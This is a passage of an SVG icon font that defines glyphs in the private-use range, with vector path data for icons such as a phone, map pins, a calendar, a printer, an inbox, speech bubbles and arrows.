	c0-15.4, 12.598-28, 28-28l 140,0 c 15.4,0, 28,12.6, 28,28L 196,104 C 196,119.4, 183.4,132, 168,132z M 168,20l-56,0 l0-56 L 84-36 l0,56 L 28,20 l0,28 l 56,0 l0,56 l 28,0 l0-56 l 56,0 
	L 168,20 z"  />
<glyph unicode="&#xe03b;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,160
	c0,46.393, 37.607,84, 84,84s 84-37.607, 84-84s-37.607-84-84-84S 140,113.608, 140,160z M 405.116,84.979L 405.116,84.979l-77.621,32.152
	C 332.972,130.337, 336,144.814, 336,160s-3.028,29.663-8.505,42.869l 53.43,22.131l 24.191,10.021C 414.701,211.911, 420,186.576, 420,160
	C 420,133.424, 414.7,108.089, 405.116,84.979L 405.116,84.979z M 299.022,341.116L 299.022,341.116L 299.022,341.116l-32.152-77.621
	C 253.664,268.972, 239.186,272, 224,272s-29.663-3.028-42.869-8.505l-15.076,36.399l-17.076,41.223C 172.089,350.7, 197.424,356, 224,356
	C 250.576,356, 275.911,350.7, 299.022,341.116z M 42.884,235.021l 41.223-17.076l 36.399-15.076C 115.029,189.663, 112,175.186, 112,160
	s 3.028-29.663, 8.505-42.869l-77.621-32.152C 33.3,108.089, 28,133.424, 28,160C 28,186.576, 33.3,211.911, 42.884,235.021z
	 M 148.979-21.116l 10.021,24.191l 22.131,53.43C 194.337,51.028, 208.814,48, 224,48s 29.663,3.028, 42.869,8.505l 32.152-77.621l0,0l0,0
	C 275.911-30.699, 250.576-36, 224-36C 197.424-36, 172.089-30.7, 148.979-21.116z"  />
<glyph unicode="&#xe03c;" d="M 308,104c-28-28-28-56-56-56s-56,28-84,56s-56,56-56,84s 28,28, 56,56S 112,356, 84,356S0,272,0,272c0-56, 57.531-169.531, 112-224
	s 168-112, 224-112c0,0, 84,56, 84,84S 336,132, 308,104z"  />
<glyph unicode="&#xe03d;" d="M 445.103,132.003 C 448.605,107.729 450.885,74.519 440,61.808 C 422,40.788 308.001,40.788 308.001,82.826 C 308.001,104 326.75,117.885 308.75,138.904 C 291.043,159.581 259.301,159.917 224,159.922 C 188.7,159.917 156.957,159.581 139.25,138.904 C 121.251,117.884 140,104 140,82.826 C 140,40.788 26.001,40.788 8,61.807 C -2.884,74.518 -0.605,107.728 2.898,132.002 C 5.593,148.206 12.402,165.687 34.2,187.999 C 34.2,188 34.201,188 34.201,188.001 C 66.899,218.513 116.384,243.449 222.25,243.987 L 222.25,244 C 222.838,244 223.416,243.996 224,243.994 C 224.585,243.996 225.162,244 225.75,244 L 225.75,243.988 C 331.616,243.45 381.101,218.514 413.799,188.002 C 413.8,188.001 413.8,188 413.8,188 C 435.598,165.689 442.408,148.208 445.103,132.003 Z"  />
<glyph unicode="&#xe03e;" d="M 420,272c 15.464,0, 28,12.536, 28,28L 448,356 l-56,0 L 392,384 L 28,384 C 12.6,384,0,371.401,0,356l0-392 c0-15.4, 12.598-28, 28-28l 364,0 L 392,48 l 28,0 
	c 15.464,0, 28,12.536, 28,28l0,56 l-56,0 l0,28 l 28,0 c 15.464,0, 28,12.536, 28,28l0,56 l-56,0 l0,28 L 420,272 z M 252,271.856
	c 30.848,0, 55.856-25.008, 55.856-55.856s-25.008-55.856-55.856-55.856c-30.848,0-55.856,25.008-55.856,55.856
	S 221.152,271.856, 252,271.856z M 112-36L 84-36 L 84,356 l 28,0 L 112-36 z M 336,48L 168,48 l0,28 c0,30.929, 25.072,56, 56,56l0,0 l 56,0 c 30.929,0, 56-25.071, 56-56
	L 336,48 z"  />
<glyph unicode="&#xe03f;" d="M 393.033,356L 56,356 l0-56 L 15.032,300 C 7.333,300,0,294.519,0,286.819l0-28 C0,251.119, 7.333,244, 15.032,244L 56,244 l0-28 L 15.032,216 
	C 7.333,216,0,210.519,0,202.819l0-28 C0,167.119, 7.333,160, 15.032,160L 56,160 l0-28 L 15.032,132 C 7.333,132,0,126.519,0,118.819l0-28 
	C0,83.12, 7.333,76, 15.032,76L 56,76 l0-28 L 15.032,48 C 7.333,48,0,42.519,0,34.819l0-28 C0-0.881, 7.333-8, 15.032-8L 56-8 l0-56 l 337.033,0 
	c 15.465,0, 26.968,13.355, 26.968,28.819l0,364 C 420,344.283, 408.497,356, 393.033,356z M 140-36L 84-36 l0,28 l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819
	l0,28 c0,7.701-5.268,13.181-12.968,13.181L 84,48 l0,28 l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819l0,28 c0,7.701-5.268,13.181-12.968,13.181L 84,132 l0,28 
	l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819l0,28 c0,7.701-5.268,13.181-12.968,13.181L 84,216 l0,28 l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819l0,28 
	C 112,294.52, 106.733,300, 99.032,300L 84,300 L 84,328 l 56,0 L 140-36 z"  />
<glyph unicode="&#xe040;" d="M 406,328L 42,328 C 18.9,328,0,309.1,0,286l0-280 c0-23.1, 18.9-42, 42-42l 364,0 c 23.1,0, 42,18.9, 42,42L 448,286 C 448,309.1, 429.1,328, 406,328z
	 M 174.449,143.212L 56,50.947L 56,270.415 L 174.449,143.212z M 77.166,272L 370.834,272 L 224,161.75L 77.166,272z M 179.064,138.257L 224,90l 44.936,48.257
	L 361.053,20L 86.947,20 L 179.064,138.257z M 273.551,143.212L 392,270.415l0-219.468 L 273.551,143.212z"  />
<glyph unicode="&#xe041;" d="M 238,384l-42-42l 42-42L 140,188L 42,188 l 77-77L0-46.769L0-64 l 17.23,0 L 175,55l 77-77L 252,76 l 112,98l 42-42l 42,42L 238,384z M 196,146l-28,28
	l 98,98l 28-28L 196,146z"  />
<glyph unicode="&#xe042;" d="M 224,384C 146.68,384, 84,321.32, 84,244c0-140, 140-308, 140-308s 140,168, 140,308C 364,321.32, 301.319,384, 224,384z M 224,160
	c-46.393,0-84,37.607-84,84s 37.607,84, 84,84s 84-37.607, 84-84S 270.392,160, 224,160z"  />
<glyph unicode="&#xe043;" d="M 224,384C 146.68,384, 84,321.32, 84,244c0-140, 140-308, 140-308s 140,168, 140,308C 364,321.32, 301.319,384, 224,384z M 224,158.25
	c-47.358,0-85.75,38.392-85.75,85.75s 38.392,85.75, 85.75,85.75s 85.75-38.392, 85.75-85.75S 271.359,158.25, 224,158.25zM 169.75,244A54.25,54.25 1260 1 0 278.25,244A54.25,54.25 1260 1 0 169.75,244z"  />
<glyph unicode="&#xe044;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
	c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 266,202l-126,70l-28,0 l0-28 l 70-126l 126-70l 28,0 l0,28 L 266,202z M 224,132c-15.464,0-28,12.536-28,28c0,15.464, 12.536,28, 28,28
	c 15.464,0, 28-12.536, 28-28C 252,144.536, 239.464,132, 224,132z"  />
<glyph unicode="&#xe045;" d="M0,300L 140,356L 140,20L0-36 zM 308,300 L 308-36 L 168,10.666 L 168,346.666 ZM 448,356 L 448,20 L 336-24.8 L 336,311.2 Z"  />
<glyph unicode="&#xe046;" d="M 294,300L 154,356L0,300l0-336 l 154,56l 140-56l 154,56L 448,356 L 294,300z M 168,320.243l 112-44.8l0-275.685 l-112,44.799L 168,320.243 z M 28,280.388
	l 112,40.727l0-276.412 L 28,3.976L 28,280.388 z M 420,39.612l-112-40.728l0,276.412 l 112,40.727L 420,39.612 z"  />
<glyph unicode="&#xe047;" d="M 252,356 C 360.248,356 448,268.248 448,160 C 448,51.752 360.248-36 252-36 L 252,6 C 293.135,6 331.808,22.019 360.895,51.105 C 389.981,80.192 406,118.865 406,160 C 406,201.135 389.981,239.808 360.895,268.895 C 331.808,297.981 293.135,314 252,314 C 210.865,314 172.192,297.981 143.105,268.895 C 120.732,246.522 106.101,218.475 100.534,188 L 182,188 L 84,76 L -14,188 L 57.999,188 C 71.588,282.982 153.26,356 252,356 ZM 336,188 L 336,132 L 224,132 L 224,272 L 280,272 L 280,188 Z"  />
<glyph unicode="&#xe048;" d="M 288.201,56.201L 196,148.402L 196,272L 252,272L 252,171.598L 327.799,95.799 	zM 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
		c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8z"  />
<glyph unicode="&#xe049;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 288.201,56.201L 196,148.402
		L 196,272 l 56,0 l0-100.402 l 75.799-75.799L 288.201,56.201z"  />
<glyph unicode="&#xe04a;" d="M 252,143.598 L 299.799,95.799 L 260.201,56.201 L 196,120.402 L 196,216 L 252,216 ZM 364,356 C 410.392,356 448,318.392 448,272 C 448,243.57 433.873,218.442 412.26,203.243 C 391.877,257.075 349.075,299.877 295.243,320.26 C 310.442,341.873 335.57,356 364,356 ZM 152.757,320.26 C 98.925,299.877 56.123,257.075 35.74,203.243 C 14.127,218.442 0,243.57 0,272 C 0,318.392 37.607,356 84,356 C 112.43,356 137.558,341.873 152.757,320.26 ZM 224,300C 131.216,300, 56,224.784, 56,132c0-40.545, 14.364-77.734, 38.279-106.759L 84-64l 28,0 l 28,50.479l-0.004,0.004
		C 164.708-27.814, 193.397-36, 224-36c 30.602,0, 59.29,8.186, 84.002,22.481L 308-13.52L 336-64l 28,0 l-10.282,89.236
		C 377.635,54.262, 392,91.453, 392,132C 392,224.784, 316.784,300, 224,300z M 224,20c-61.855,0-112,50.145-112,112s 50.145,112, 112,112
		s 112-50.145, 112-112S 285.856,20, 224,20z"  />
<glyph unicode="&#xe04b;" d="M 224,328C 115.752,328, 28,240.248, 28,132s 87.752-196, 196-196s 196,87.752, 196,196S 332.248,328, 224,328z M 224-25.5
	c-86.986,0-157.5,70.515-157.5,157.5c0,86.986, 70.514,157.5, 157.5,157.5c 86.985,0, 157.5-70.514, 157.5-157.5C 381.5,45.015, 310.985-25.5, 224-25.5z
	 M 408.968,258.361C 415.986,270.634, 420,284.849, 420,300c0,46.393-37.607,84-84,84c-27.045,0-51.101-12.785-66.465-32.636
	C 327.234,339.449, 376.813,305.34, 408.968,258.361z M 178.465,351.364C 163.102,371.215, 139.045,384, 112,384C 65.608,384, 28,346.393, 28,300
	c0-15.151, 4.014-29.366, 11.032-41.639C 71.188,305.34, 120.767,339.449, 178.465,351.364z M 196,244l 28,0 l0-140 l-28,0 L 196,244 z M 224,132l 84,0 l0-28 l-84,0 
	L 224,132 z"  />
<glyph unicode="&#xe04c;" d="M 448.656,34c0,126-112,98-112,196c0,8.12-0.782,15.059-2.208,20.968c-7.363,49.445-40.318,89.127-83.025,101.22
	c 0.379,1.727, 0.578,3.514, 0.578,5.342C 252,372.089, 239.4,384, 224,384c-15.4,0-28-11.911-28-26.469c0-1.829, 0.2-3.615, 0.578-5.342
	c-47.893-13.562-83.525-61.818-84.549-119.631c-0.018-0.84-0.029-1.69-0.029-2.558C 112,132,0,160,0,34
	c0-33.349, 74.633-61.248, 174.549-68.285C 183.966-51.962, 202.574-64, 224-64s 40.035,12.038, 49.451,29.715
	C 373.367-27.248, 448,0.651, 448,34c0,0.1-0.011,0.2-0.012,0.298L 448.656,34z M 361.483,10.333
	c-23.726-6.331-51.694-10.883-81.711-13.409C 277.276,25.545, 253.267,48, 224,48s-53.276-22.455-55.772-51.075
	c-30.016,2.525-57.985,7.078-81.711,13.409C 53.867,19.045, 38.257,28.791, 32.544,34c 5.713,5.209, 21.323,14.955, 53.974,23.667
	C 124.48,67.796, 173.305,73.375, 224,73.375s 99.52-5.579, 137.483-15.708c 32.651-8.712, 48.261-18.458, 53.974-23.667
	C 409.743,28.791, 394.133,19.045, 361.483,10.333z"  />
<glyph unicode="&#xe04d;" d="M 224.001,299.47L 224.001,328 l 56,0 L 280.001,356 c0,15.464-12.536,28-28.001,28l-83.999,0 c-15.464,0-28-12.536-28-28l0-28 l 56,0 l0-28.53 
	c-93.974-7.148-168-85.663-168-181.47c0-100.516, 81.484-182, 182-182c 100.516,0, 182,81.484, 182,182
	C 392.001,213.805, 317.975,292.321, 224.001,299.47z M 308.996,19.005C 282.552-7.437, 247.397-22, 210.001-22
	s-72.552,14.563-98.995,41.005C 84.564,45.448, 70.001,80.605, 70.001,118s 14.563,72.552, 41.005,98.995
	c 25.392,25.392, 58.821,39.82, 94.55,40.927l-9.484-137.384C 195.258,109.036, 201.525,104, 210,104
	c 8.475,0, 14.743,5.037, 13.928,16.538L 214.445,257.923c 35.729-1.108, 69.158-15.537, 94.551-40.928
	c 26.442-26.442, 41.005-61.6, 41.005-98.995S 335.438,45.448, 308.996,19.005z"  />
<glyph unicode="&#xe04e;" d="M 140,216L 196,216L 196,160L 140,160zM 224,216L 280,216L 280,160L 224,160zM 308,216L 364,216L 364,160L 308,160zM 56,48L 112,48L 112-8L 56-8zM 140,48L 196,48L 196-8L 140-8zM 224,48L 280,48L 280-8L 224-8zM 140,132L 196,132L 196,76L 140,76zM 224,132L 280,132L 280,76L 224,76zM 308,132L 364,132L 364,76L 308,76zM 56,132L 112,132L 112,76L 56,76zM 364,384l0-28 l-56,0 L 308,384 L 112,384 l0-28 L 56,356 L 56,384 L0,384 l0-448 l 420,0 L 420,384 L 364,384 z M 392-36L 28-36 L 28,272 l 364,0 L 392-36 z"  />
<glyph unicode="&#xe04f;" d="M 392,328l-42,0 l0-14 c0-15.439-12.561-28-28-28s-28,12.561-28,28L 294,328 L 154,328 l0-14 c0-15.439-12.561-28-28-28s-28,12.561-28,28L 98,328 L 56,328 
		c-15.4,0-28-12.6-28-28l0-308 c0-15.4, 12.6-28, 28-28l 336,0 c 15.4,0, 28,12.6, 28,28L 420,300 C 420,315.4, 407.4,328, 392,328z M 392-7.949
		c-0.015-0.018-0.033-0.036-0.051-0.051L 56.050-8 c-0.018,0.015-0.036,0.033-0.050,0.051L 56,244 l 336,0 L 392-7.949 zM 126,300c 7.732,0, 14,6.268, 14,14L 140,370 c0,7.732-6.268,14-14,14s-14-6.268-14-14l0-56 C 112,306.269, 118.268,300, 126,300zM 322,300c 7.732,0, 14,6.268, 14,14L 336,370 c0,7.732-6.268,14-14,14s-14-6.268-14-14l0-56 C 308,306.269, 314.269,300, 322,300zM 252,216L 112,216L 112,188L 224,188L 224,132L 112,132L 112,104L 224,104L 224,48L 112,48L 112,20L 252,20 	zM 308,20L 336,20L 336,216L 280,216L 280,188L 308,188 	zM 381.5-46.5L 66.5-46.5 c-15.4,0-28,9.1-28,24.5l0-14 c0-15.4, 12.6-28, 28-28l 315,0 c 15.4,0, 28,12.6, 28,28l0,14 C 409.5-37.4, 396.9-46.5, 381.5-46.5z"  />
<glyph unicode="&#xe050;" d="M 112,356L 336,356L 336,300L 112,300zM 420,272L 28,272 C 12.6,272,0,259.4,0,244l0-140 c0-15.4, 12.598-28, 28-28l 84,0 l0-112 l 224,0 L 336,76 l 84,0 c 15.4,0, 28,12.6, 28,28L 448,244 
		C 448,259.4, 435.4,272, 420,272z M 308-8L 140-8 L 140,132 l 168,0 L 308-8 z M 426.3,230c0-11.211-9.089-20.3-20.299-20.3
		c-11.211,0-20.301,9.089-20.301,20.3s 9.089,20.3, 20.301,20.3C 417.212,250.3, 426.3,241.211, 426.3,230z"  />
<glyph unicode="&#xe051;" d="M 476,328L 28,328 C 12.6,328,0,315.4,0,300l0-280 c0-15.4, 12.6-28, 28-28l 448,0 c 15.4,0, 28,12.6, 28,28L 504,300 C 504,315.4, 491.4,328, 476,328z M 280,272
	l 56,0 l0-56 l-56,0 L 280,272 z M 364,188l0-56 l-56,0 l0,56 L 364,188 z M 196,272l 56,0 l0-56 l-56,0 L 196,272 z M 280,188l0-56 l-56,0 l0,56 L 280,188 z M 112,272l 56,0 l0-56 l-56,0 L 112,272 z M 196,188l0-56 
	l-56,0 l0,56 L 196,188 z M 56,272l 28,0 l0-56 L 56,216 L 56,272 z M 56,188l 56,0 l0-56 L 56,132 L 56,188 z M 84,48L 56,48 l0,56 l 28,0 L 84,48 z M 336,48L 112,48 l0,56 l 224,0 L 336,48 z M 448,48l-84,0 l0,56 l 84,0 
	L 448,48 z M 448,132l-56,0 l0,56 l 56,0 L 448,132 z M 448,216l-84,0 l0,56 l 84,0 L 448,216 z" horiz-adv-x="504"  />
<glyph unicode="&#xe052;" d="M 448,20L 448,356 L0,356 l0-336 l 196,0 l0-28 l-84,0 l0-28 l 224,0 l0,28 l-84,0 l0,28 L 448,20 z M 56,300l 336,0 l0-224 L 56,76 L 56,300 z"  />
<glyph unicode="&#xe053;" d="M 392,76L 392,300 c0,15.4-12.6,28-28,28L 84,328 c-15.4,0-28-12.6-28-28l0-224 L0,76 l0-84 l 448,0 l0,84 L 392,76 z M 280,20L 168,20 l0,28 l 112,0 L 280,20 z M 364,76L 84,76 
	L 84,299.95 c 0.015,0.018, 0.033,0.036, 0.050,0.050l 279.899,0 c 0.018-0.015, 0.036-0.033, 0.051-0.051L 364,76 z"  />
<glyph unicode="&#xe054;" d="M 322,384L 126,384 c-23.1,0-42-18.9-42-42l0-364 c0-23.1, 18.9-42, 42-42l 196,0 c 23.1,0, 42,18.9, 42,42L 364,342 C 364,365.1, 345.1,384, 322,384z M 168,363
	l 112,0 l0-14 L 168,349 L 168,363 z M 224-36c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 239.464-36, 224-36z M 336,48L 112,48 L 112,328 l 224,0 L 336,48 
	z"  />
<glyph unicode="&#xe055;" d="M 336,384L 84,384 C 68.6,384, 56,371.401, 56,356l0-392 c0-15.4, 12.599-28, 28-28l 252,0 c 15.4,0, 28,12.6, 28,28L 364,356 C 364,371.401, 351.4,384, 336,384z
	 M 210-43.78c-12.028,0-21.78,9.752-21.78,21.78s 9.752,21.78, 21.78,21.78s 21.78-9.752, 21.78-21.78
	S 222.028-43.78, 210-43.78z M 336,20L 84,20 L 84,328 l 252,0 L 336,20 z"  />
<glyph unicode="&#xe056;" d="M 350,384L 70,384 C 46.9,384, 28,365.1, 28,342l0-364 c0-23.1, 18.9-42, 42-42l 280,0 c 23.1,0, 42,18.9, 42,42L 392,342 C 392,365.1, 373.1,384, 350,384z M 210-50
	c-7.732,0-14,6.268-14,14s 6.268,14, 14,14s 14-6.268, 14-14S 217.732-50, 210-50z M 336-8L 84-8 L 84,328 l 252,0 L 336-8 z"  />
<glyph unicode="&#xe057;" d="M 429.27,257.953c-38.854,5.586-80.23,9.632-123.408,11.909L 378,342l-28,28L 251.756,271.757
	C 242.566,271.918, 233.313,272, 224,272l0,0L 112,384L 84,356l 84.961-84.961c-52.903-1.856-103.398-6.354-150.231-13.086
	C 6.684,210.823,0,158.749,0,104s 6.684-106.823, 18.727-153.952C 81.57-58.987, 151-64, 224-64
	c 72.999,0, 142.428,5.013, 205.27,14.048C 441.316-2.823, 448,49.251, 448,104S 441.316,210.823, 429.27,257.953z M 377.953,1.365
	C 330.821-4.658, 278.75-8, 224-8c-54.75,0-106.823,3.342-153.953,9.365C 61.014,32.785, 56,67.5, 56,104
	c0,36.501, 5.013,71.216, 14.047,102.636C 117.177,212.658, 169.25,216, 224,216c 54.747,0, 106.821-3.342, 153.95-9.364
	C 386.987,175.216, 392,140.501, 392,104C 392,67.5, 386.987,32.785, 377.953,1.365z"  />
<glyph unicode="&#xe058;" d="M 308,384L 140,384 L 56,328l0-112 l 336,0 L 392,328 L 308,384z M 280,244l-28,0 l0,18.666 C 252,267.8, 247.8,272, 242.666,272l-37.333,0 
		c-5.133,0-9.334-4.2-9.334-9.334L 196,244 l-28,0 l0,46.666 C 168,295.8, 172.201,300, 177.334,300l 93.332,0 c 5.134,0, 9.334-4.2, 9.334-9.334
		L 280,244 zM 56,75.999l 336,0 L 392,188 L 56,188 L 56,75.999 z M 168,150.667c0,5.134, 4.201,9.333, 9.334,9.333l 93.332,0 
		c 5.134,0, 9.334-4.199, 9.334-9.333L 280,104 l-28,0 l0,18.667 c0,5.134-4.2,9.333-9.334,9.333l-37.333,0 
		c-5.133,0-9.334-4.199-9.334-9.333L 196,104 l-28,0 L 168,150.667 zM 56-64l 336,0 L 392,47.999 L 56,47.999 L 56-64 z M 168,10.667c0,5.134, 4.201,9.333, 9.334,9.333l 93.332,0 c 5.134,0, 9.334-4.199, 9.334-9.333
		L 280-36 l-28,0 l0,18.667 c0,5.134-4.2,9.333-9.334,9.333l-37.333,0 c-5.133,0-9.334-4.199-9.334-9.333L 196-36 l-28,0 L 168,10.667 z"  />
<glyph unicode="&#xe059;" d="M 308,300L 140,300 L0,132l0-70 l0-42 c0-15.464, 12.536-28, 28-28l 392,0 c 15.465,0, 28,12.536, 28,28l0,42 l0,70 L 308,300z M 336,132l-56-56L 168,76 
	l-56,56L 36.448,132 l 116.666,140l 141.771,0 l 116.666-140L 336,132 z"  />
<glyph unicode="&#xe05a;" d="M 308,300L 140,300 L0,132l0-112 c0-15.464, 12.536-28, 28-28l 392,0 c 15.465,0, 28,12.536, 28,28L 448,132 L 308,300z M 280,76L 168,76 l-28,28l 168,0 
		L 280,76z M 36.448,132l 116.666,140l 141.771,0 l 116.666-140L 36.448,132 zM 124.672,216L 323.328,216L 299.995,244L 148.005,244 	zM 78.005,160L 369.995,160L 346.662,188L 101.338,188 	z"  />
<glyph unicode="&#xe05b;" d="M 393.092,384 L 422.511,133.943 L 389.489,130.057 L 363.216,353.375 L 84.784,353.375 L 58.511,130.057 L 25.489,133.943 L 54.907,384 ZM 112,328L 336,328L 336,300L 112,300zM 112,272L 336,272L 336,244L 112,244zM 112,216L 336,216L 336,188L 112,188zM 112,160L 336,160L 336,132L 112,132zM 434,104L 14,104 c-7.7,0-12.008-5.976-9.572-13.282L 51.572-50.718C 54.008-58.024, 62.3-64, 70-64l 308,0 
	c 7.7,0, 15.992,5.976, 18.427,13.282l 47.146,141.438C 446.008,98.024, 441.7,104, 434,104z M 280,48L 168,48 l0,28 l 112,0 L 280,48 z"  />
<glyph unicode="&#xe05c;" d="M 364,356L 84,356 L0,272l0-294 c0-7.732, 6.268-14, 14-14l 420,0 c 7.732,0, 14,6.268, 14,14L 448,272 L 364,356z M 224,20L 84,132l 84,0 l0,84 l 112,0 l0-84 l 84,0 
	L 224,20z M 67.598,300l 28,28l 256.803,0 l 28-28L 67.598,300 z"  />
<glyph unicode="&#xe05d;" d="M 364,356L 84,356 L0,272l0-294 c0-7.732, 6.268-14, 14-14l 420,0 c 7.732,0, 14,6.268, 14,14L 448,272 L 364,356z M 280,104l0-84 L 168,20 l0,84 L 84,104 l 140,112
	l 140-112L 280,104 z M 67.598,300l 28,28l 256.802,0 l 28-28L 67.598,300 z"  />
<glyph unicode="&#xe05e;" d="M 224,132L 336,244L 252,244L 252,356L 196,356L 196,244L 112,244 	zM 325.818,177.819L 294.431,146.431L 408.216,104L 224,35.305L 39.784,104L 153.569,146.431L 122.181,177.819L0,132L0,20L 224-64L 448,20L 448,132 	z"  />
<glyph unicode="&#xe05f;" d="M 196,132L 252,132L 252,244L 336,244L 224,356L 112,244L 196,244 	zM 280,195L 280,151.814L 408.216,104L 224,35.305L 39.784,104L 168,151.814L 168,195L0,132L0,20L 224-64L 448,20L 448,132 	z"  />
<glyph unicode="&#xe060;" d="M 392,384L0,384 l0-448 l 448,0 L 448,328 L 392,384z M 224,328l 56,0 l0-112 l-56,0 L 224,328 z M 392-8L 56-8 L 56,328 l 28,0 l0-140 l 252,0 L 336,328 l 32.803,0 L 392,304.805L 392-8 z"  />
<glyph unicode="&#xe061;" d="M 84-8l 280,0 c 46.392,0, 84,37.607, 84,84L0,76 C0,29.608, 37.608-8, 84-8z M 364,48l 28,0 l0-28 l-28,0 L 364,48 zM 420,328L 28,328L0,104L 448,104 	z"  />
<glyph unicode="&#xe062;" d="M 224,356c-61.855,0-117.852-25.078-158.389-65.615L0,356l0-168 l 168,0 l-62.795,62.791C 135.609,281.194, 177.607,300, 224,300
	c 92.78,0, 168-75.217, 168-168c0-50.179-22.003-95.216-56.883-126l 37.041-42C 418.666,5.045, 448,65.096, 448,132
	C 448,255.712, 347.712,356, 224,356z"  />
<glyph unicode="&#xe063;" d="M0,132c0-66.904, 29.334-126.956, 75.841-168l 37.041,42C 78.002,36.784, 56,81.82, 56,132c0,92.783, 75.219,168, 168,168
	c 46.393,0, 88.392-18.806, 118.794-49.209L 280,188l 168,0 L 448,356 l-65.612-65.615C 341.852,330.922, 285.856,356, 224,356
	C 100.288,356,0,255.712,0,132z"  />
<glyph unicode="&#xe064;" d="M0,216L 448,216L 448,384 		zM 448-36L 448,132L0,132 		z"  />
<glyph unicode="&#xe065;" d="M 252,384L 252-64L 420-64 		zM0-64L 168-64L 168,384 		z"  />
<glyph unicode="&#xe066;" d="M 333.315-64C 383.070,26.139, 391.453,163.634, 196,159.048L 196,48 L 28,216L 196,384l0-108.663 
	C 430.046,281.437, 456.124,68.744, 333.315-64z"  />
<glyph unicode="&#xe067;" d="M 252,275.337L 252,384 l 168-168L 252,48L 252,159.048 C 56.547,163.634, 64.93,26.139, 114.686-64
	C-8.125,68.744, 17.955,281.437, 252,275.337z"  />
<glyph unicode="&#xe068;" d="M 114.686,384C 64.93,293.861, 56.547,156.367, 252,160.952L 252,272 l 168-168L 252-64L 252,44.663 C 17.955,38.563-8.125,251.256, 114.686,384z"  />
<glyph unicode="&#xe069;" d="M 196,44.663L 196-64 L 28,104l 168,168l0-111.048 C 391.453,156.367, 383.070,293.861, 333.315,384
	C 456.125,251.256, 430.046,38.563, 196,44.663z"  />
<glyph unicode="&#xe06a;" d="M 224,356 C 347.712,356 448,274.516 448,174 C 448,73.484 347.712-8 224-8 C 212.119-8 200.458-7.241 189.077-5.793 C 140.962-53.909 83.53-62.537 28-63.804 L 28-52.028 C 57.984-37.338 84-10.579 84,20 C 84,24.267 83.668,28.457 83.053,32.555 C 32.393,65.92 0,116.884 0,174 C 0,274.516 100.288,356 224,356 Z"  />
<glyph unicode="&#xe06b;" d="M 476-10.26 C 476-30.166 487.387-47.407 504-55.841 L 504-62.813 C 499.351-63.45 494.606-63.786 489.781-63.786 C 460.028-63.786 433.192-51.305 414.215-31.296 C 402.743-34.351 390.589-36 378-36 C 308.412-36 252,14.144 252,76 C 252,137.856 308.412,188 378,188 C 447.588,188 504,137.856 504,76 C 504,51.785 495.353,29.366 480.657,11.046 C 477.671,4.561 476-2.653 476-10.26 ZM 224,384 C 345.825,384 444.934,304.981 447.928,206.585 C 426.411,216.175 402.609,221.25 378,221.25 C 336.192,221.25 296.705,206.617 266.815,180.047 C 235.819,152.497 218.75,115.545 218.75,76 C 218.75,56.456 222.925,37.549 230.885,20.093 C 228.597,20.038 226.305,20 224,20 C 212.119,20 200.458,20.759 189.077,22.207 C 140.962-25.909 83.53-34.537 28-35.804 L 28-24.028 C 57.984-9.338 84,17.421 84,48 C 84,52.267 83.668,56.457 83.053,60.555 C 32.393,93.92 0,144.884 0,202 C 0,302.516 100.288,384 224,384 Z" horiz-adv-x="504"  />
<glyph unicode="&#xe06c;" d="M 210,384 L 210,384 C 325.98,384 420,307.913 420,214.054 C 420,120.195 325.98,44.108 210,44.108 C 198.862,44.108 187.93,44.817 177.26,46.169 C 132.151,1.24 80.060-6.816 28-8 L 28,2.996 C 56.11,16.714 78.75,41.7 78.75,70.255 C 78.75,74.239 78.439,78.151 77.862,81.977 C 30.368,113.133 0,160.722 0,214.054 C 0,307.913 94.020,384 210,384 ZM 435.75,3.075 C 435.75-21.4 451.637-42.818 476-54.575 L 476-64 C 430.882-62.986 389.469-56.080 350.375-17.57 C 341.127-18.729 331.653-19.337 322-19.337 C 280.232-19.337 241.759-8.068 211.044,10.868 C 274.339,11.089 334.095,31.366 379.409,68.037 C 402.25,86.522 420.269,108.211 432.965,132.501 C 446.425,158.255 453.25,185.694 453.25,214.054 C 453.25,218.625 453.053,223.17 452.7,227.69 C 484.449,201.469 504,165.73 504,126.332 C 504,80.618 477.681,39.828 436.52,13.123 C 436.020,9.843 435.75,6.49 435.75,3.075 Z" horiz-adv-x="504"  />
<glyph unicode="&#xe06d;" d="M 224,300 C 199.967,300 176.755,296.21 155.009,288.738 C 134.572,281.714 116.375,271.787 100.922,259.231 C 71.953,235.695 56,205.426 56,174 C 56,156.37 60.895,139.272 70.548,123.183 C 80.502,106.594 95.477,91.427 113.855,79.323 C 127.136,70.577 136.071,56.596 138.432,40.87 C 139.22,35.627 139.713,30.331 139.906,25.065 C 143.174,27.775 146.359,30.685 149.479,33.805 C 160.046,44.371 174.32,50.207 189.073,50.207 C 191.422,50.207 193.782,50.060 196.142,49.759 C 205.318,48.592 214.691,48 224,48 C 248.034,48 271.245,51.789 292.991,59.262 C 313.428,66.286 331.625,76.213 347.078,88.769 C 376.047,112.305 392,142.574 392,174 C 392,205.426 376.047,235.695 347.078,259.231 C 331.625,271.787 313.428,281.714 292.991,288.738 C 271.245,296.21 248.034,300 224,300 Z M 224,356 L 224,356 C 347.712,356 448,274.516 448,174 C 448,73.484 347.712-8 224-8 C 212.119-8 200.458-7.241 189.077-5.793 C 140.962-53.909 83.53-62.537 28-63.804 L 28-52.028 C 57.984-37.338 84-10.579 84,20 C 84,24.267 83.668,28.457 83.053,32.555 C 32.393,65.92 0,116.884 0,174 C 0,274.516 100.288,356 224,356 Z"  />
